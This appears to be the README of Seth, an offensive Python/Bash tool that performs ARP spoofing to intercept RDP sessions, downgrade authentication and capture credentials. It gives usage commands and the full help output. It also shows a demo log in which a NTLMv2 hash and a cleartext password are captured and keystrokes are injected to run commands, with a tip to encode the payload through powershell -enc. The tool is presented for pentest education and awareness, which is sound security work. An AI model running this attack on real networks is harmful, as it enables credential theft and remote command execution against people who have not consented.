Seth is a tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials. It was developed to raise awareness and educate about the importance of properly configured RDP connections in the context of pentests, workshops or talks. The author is Adrian Vollmer (SySS GmbH).

Usage
Run it like this:

$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]

Unless the RDP host is on the same subnet as the victim machine, the last IP address must be that of the gateway.
The last parameter is optional. It can contain a command that is executed on the RDP host by simulating WIN+R via key press event injection. Keystroke injection depends on which keyboard layout the victim is using - currently it's only reliable with the English US layout. I suggest avoiding special characters by using powershell -enc <STRING>, where STRING is your UTF-16le and Base64 encoded command. However, calc should be pretty universal and gets the job done.
The shell script performs ARP spoofing to gain a Man-in-the-Middle position and redirects the traffic such that it runs through an RDP proxy. The proxy can be called separately. This can be useful if you want use Seth in combination with Responder. Use Responder to gain a Man-in-the-Middle position and run Seth at the same time. Run seth.py -h for more information:

usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
               [-j INJECT] -c CERTFILE -k KEYFILE
               target_host [target_port]

RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017

positional arguments:
  target_host           target host of the RDP service
  target_port           TCP port of the target RDP service (default 3389)

optional arguments:
  -h, --help            show this help message and exit
  -d, --debug           show debug information
  -f, --fake-server     perform a 'fake server' attack
  -p LISTEN_PORT, --listen-port LISTEN_PORT
                        TCP port to listen on (default 3389)
  -b BIND_IP, --bind-ip BIND_IP
                        IP address to bind the fake service to (default all)
  -g {0,1,3,11}, --downgrade {0,1,3,11}
                        downgrade the authentication protocol to this (default
                           3)
  -j INJECT, --inject INJECT
                        command to execute via key press event injection
  -c CERTFILE, --certfile CERTFILE
                        path to the certificate file
  -k KEYFILE, --keyfile KEYFILE
                        path to the key file

For more information read the PDF in doc/paper (or read the code!). The paper also contains recommendations for counter measures.
You can also watch a twenty minute presentation including a demo (starting at 14:00) on Youtube: https://www.youtube.com/watch?v=wdPkY7gykf4
Or watch just the demo (with subtitles) here: https://www.youtube.com/watch?v=JvvxTNrKV-s

Demo
The following ouput shows the attacker's view. Seth sniffs an offline crackable hash as well as the clear text password. Here, NLA is not enforced and the victim ignored the certificate warning.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗  ██╗
██╔════╝██╔════╝╚══██╔══╝██║  ██║   by Adrian Vollmer
███████╗█████╗     ██║   ███████║   [email protected]
╚════██║██╔══╝     ██║   ██╔══██║   SySS GmbH, 2017
███████║███████╗   ██║   ██║  ██║   https://www.syss.de
╚══════╝╚══════╝   ╚═╝   ╚═╝  ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgradin   g authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection rece   ived from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press:   LShift
Key press:   S
Key release:                 S
Key release:                 LShift
Key press:   E
Key release:                 E
Key press:   C
Key release:                 C
Key press:   R
Key release:                 R
Key press:   E
Key release:                 E
Key press:   T
Key release:                 T
Connection lost
[*] Cleaning up...
[*] Done.

Requirements

• python3
  
• tcpdump
  
• arpspoof
arpspoof is part of dsniff
  
• openssl
  

Disclaimer
Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.